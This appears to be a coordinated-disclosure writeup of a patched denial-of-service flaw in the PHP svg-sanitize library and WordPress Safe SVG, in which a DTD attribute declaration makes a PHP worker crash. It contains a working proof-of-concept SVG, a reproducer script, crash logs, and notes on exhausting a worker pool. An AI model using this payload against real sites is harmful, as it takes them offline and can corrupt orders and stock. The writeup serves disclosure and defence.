← Research ledger
MediumGHSA-v383-3rw5-q8rfCVSS 6.5DoS / CrashPHP / svg-sanitizeFixed in 1.0.0· 8 min read

One kilobyte to kill a worker: the DTD attribute that crashes svg-sanitize

A 1009-byte SVG uploads cleanly, sanitizes "successfully" — and then the PHP worker dies in a heap of its own bookkeeping. Two calls to removeAttribute() on the same name: the first deletes the attacker's attribute, the second deletes a piece of the DTD itself, and ext/dom does not survive the difference.

By Denis Rostilov, ExPatch Vulnerability Research·Coordinated disclosure via GitHub Security Advisories
Scope

Analysis of enshrined/svg-sanitize ≤ 0.22.0 (incl. WordPress Safe SVG ≤ 2.4.0). Fixed in 1.0.0. Published as GHSA-v383-3rw5-q8rf under coordinated disclosure. See also the sibling finding GHSA-9rjx-3jch-6vjf (stored XSS via DTD entity collision).

Summary

This is the second flaw we reported in enshrined/svg-sanitize's handling of document type declarations — same library, same root oversight, completely different outcome. Where GHSA-9rjx-3jch-6vjf turned a DTD entity into stored XSS, this one turns a DTD attribute declaration into a process crash: one crafted upload kills the PHP-FPM worker that serves it, and nginx answers the next visitor with HTTP 502.

The trigger costs the attacker nothing exotic — a <!ATTLIST> declaration and a matching attribute on the root element — and it works against every deployment of svg-sanitize ≤ 0.22.0: 45.2M Packagist downloads, the WordPress Safe SVG plugin (1M+ active installs, bundled ≤ 2.4.0), TYPO3 core since v9, Drupal modules, and 90+ dependents. No JavaScript fires, no data is read; the process simply ceases to exist mid-request.

The double-remove mechanism

The sanitizer's attribute pass, cleanAttributesOnWhitelist() (Sanitizer.php:303–330), runs two independent checks over each attribute. The whitelist check removes anything not explicitly allowed. The href safety check fires on any attribute whose name contains "href" — and stripos("badhref", "href") is true. Both checks call DOMElement::removeAttribute() on the same name. On an ordinary element attribute that is harmless. On ours, the first call has already deleted it — so the second call resolves to the only badhref left in the document: the XML_ATTRIBUTE_DECL node created from the DTD:

sanitize($dirty)
  └─► loadXML()                        // DOCTYPE parsed → XML_ATTRIBUTE_DECL node created
        └─► cleanAttributesOnWhitelist()        // Sanitizer.php:303–330
              ├─► removeAttribute("badhref")     // removes the explicit attribute — SAFE
              ├─► stripos("badhref", "href")     // TRUE → href safety check kicks in
              ├─► getAttribute("badhref")        // returns the DTD #FIXED default
              │                                    // "javascript:alert(1)"
              ├─► isHrefSafeValue()                // FALSE — it must go
              └─► removeAttribute("badhref")     // targets the XML_ATTRIBUTE_DECL node
                    └─► ext/dom type confusion → SIGABRT — the worker is gone

The fatal subtlety is getAttribute(): after the explicit attribute is gone, it happily returns the DTD's #FIXED default value — javascript:alert(1) — which of course fails isHrefSafeValue(). The sanitizer then "removes" an attribute that exists only as a declaration node, and ext/dom's internal type assumptions collapse. The process limps to the end of the request — the sanitized output is even produced — and then dies at shutdown: munmap_chunk(): invalid pointer, SIGABRT, exit code 134.

A second trigger path runs through cleanHrefAttributes(): its case-normalization of an attribute like HrEf performs the same remove-and-set dance against the DTD default, reaching the same crash without ever touching the whitelist check.

Proof of concept

The upload — 1009 bytes of perfectly legal XML:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
  <!ATTLIST svg badhref CDATA #FIXED "javascript:alert(1)">
]>
<svg xmlns="http://www.w3.org/2000/svg" badhref="x" width="200" height="60">
  <rect width="200" height="60" fill="#d33"/>
</svg>

The standalone reproducer:

<?php
use enshrined\svgSanitize\Sanitizer;

$dirty = file_get_contents('evil.svg');   // 1009 bytes
$clean = (new Sanitizer())->sanitize($dirty);
echo 'Sanitized: ' . strlen($clean) . " bytes\n";

Confirmed output — the sanitize "succeeds," then the process dies on its way out:

Sanitized: 157 bytes
munmap_chunk(): invalid pointer
[exit code 134 — SIGABRT]
# php-fpm log, same moment:
WARNING: [pool www] child 17 exited on signal 6 (SIGABRT)
# nginx → HTTP 502 Bad Gateway for the uploading client

The WordPress path

On WordPress the primitive is a media upload away. Reproduced on WordPress 6.9.4 + Safe SVG 2.4.0 with PHP 8.3.24-fpm: log in as Author, Media → Add New, upload the file — HTTP 502:

wp_handle_upload()
  └─► safe_svg::check_for_svg()      // safe-svg.php:176
        └─► sanitize()               // safe-svg.php:218
              └─► Sanitizer::sanitize()   // Sanitizer.php:193
                    └─► double removeAttribute() → worker killed → HTTP 502

One scoping detail matters for defenders: Safe SVG is only invoked through WordPress's own upload handlers. Form and file-upload plugins that move files with a bare move_uploaded_file() never call it — only code paths going through wp_handle_upload() or wp_handle_sideload() reach the vulnerable sanitizer. The REST API route (/wp/v2/media) does, and it takes the same Author role.

Impact

Full-site denial of service. PHP-FPM runs a bounded pool — pm.max_children = N. N crafted uploads kill all N workers. The master process respawns them, but each respawned worker dies again on the next upload: a modest request loop sustains the outage indefinitely at a cost of one kilobyte per kill. Every site on the same pool — not just the upload endpoint — is down for the duration.

Application-state corruption. SIGABRT does not run PHP's register_shutdown_function() callbacks — the hooks where frameworks persist what the request changed. The crash window opens after business logic ran but before cleanup, which produces failure modes worse than a clean 502:

  • WooCommerce: the order completes but the coupon's usage_count is never incremented — a single-use coupon becomes reusable indefinitely;
  • Inventory: stock is not decremented — overselling against physical goods;
  • wp_cron starvation: scheduled cleanup (unpaid-order cancellation, cart expiry) silently stops running.

Attack surface by entry point:

Entry pointRequired accessReach
WordPress Media uploadAuthor roleSafe SVG: 1M+ active installs
WordPress REST API /wp/v2/mediaAuthor rolesame fleet, scriptable
Plugin-dependent public upload formsvaries — only wp_handle_upload()/wp_handle_sideload() callersplugin-dependent
Custom PHP applications with an SVG endpointoften unauthenticated — the strongest scenario45.2M Packagist downloads
TYPO3 backend (core since v9) / Drupal moduleseditor account90+ dependents
Honest scoping

The official score is CVSS 3.1: 6.5 (Medium) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H. On WordPress that is accurate: the PR:L gate is the Author role, and the impact is availability, not code execution — this crash hands over no control. The report also notes a 7.5 variant for custom applications whose sanitizing endpoints accept uploads without authentication (PR:N) — the same kilobyte, no account needed, against a library with 45.2M downloads. And the coupon/stock corruption above is a reminder that "just a crash" is only as harmless as the shutdown code it skips.

The fix

Patched upstream in 1.0.0. The suggested remediation is the same one that closes the sibling finding — do not let the DTD into the parser at all. Strip the DOCTYPE before loadXML():

$dirty = preg_replace('/<!DOCTYPE[^>]*(?:\[.*?\])?\s*>/si', '', $dirty);          // no DOCTYPE → no XML_ATTRIBUTE_DECL → no double-remove target

One regex, applied pre-parse, removes the entire class: no attacker-defined attribute defaults, no declaration nodes for removeAttribute() to trip over — and as a bonus, no entity declarations for GHSA-9rjx-3jch-6vjf to ride on.

Disclosure timeline

  • The crash was found by Denis Rostilov during an ExPatch audit of svg-sanitize's DTD handling and reproduced standalone (exit 134) and against WordPress 6.9.4 + Safe SVG 2.4.0 (HTTP 502).
  • Reported privately to the maintainer via GitHub Security Advisories, with the PoC and the pre-parse DOCTYPE-strip fix.
  • Fix shipped upstream in 1.0.0.
  • GHSA-v383-3rw5-q8rf published; ExPatch Security Research / ExPatch-LLC credited as reporter. No CVE was assigned — the GHSA is the identifier.
  • 2026-09-25 — this writeup.

References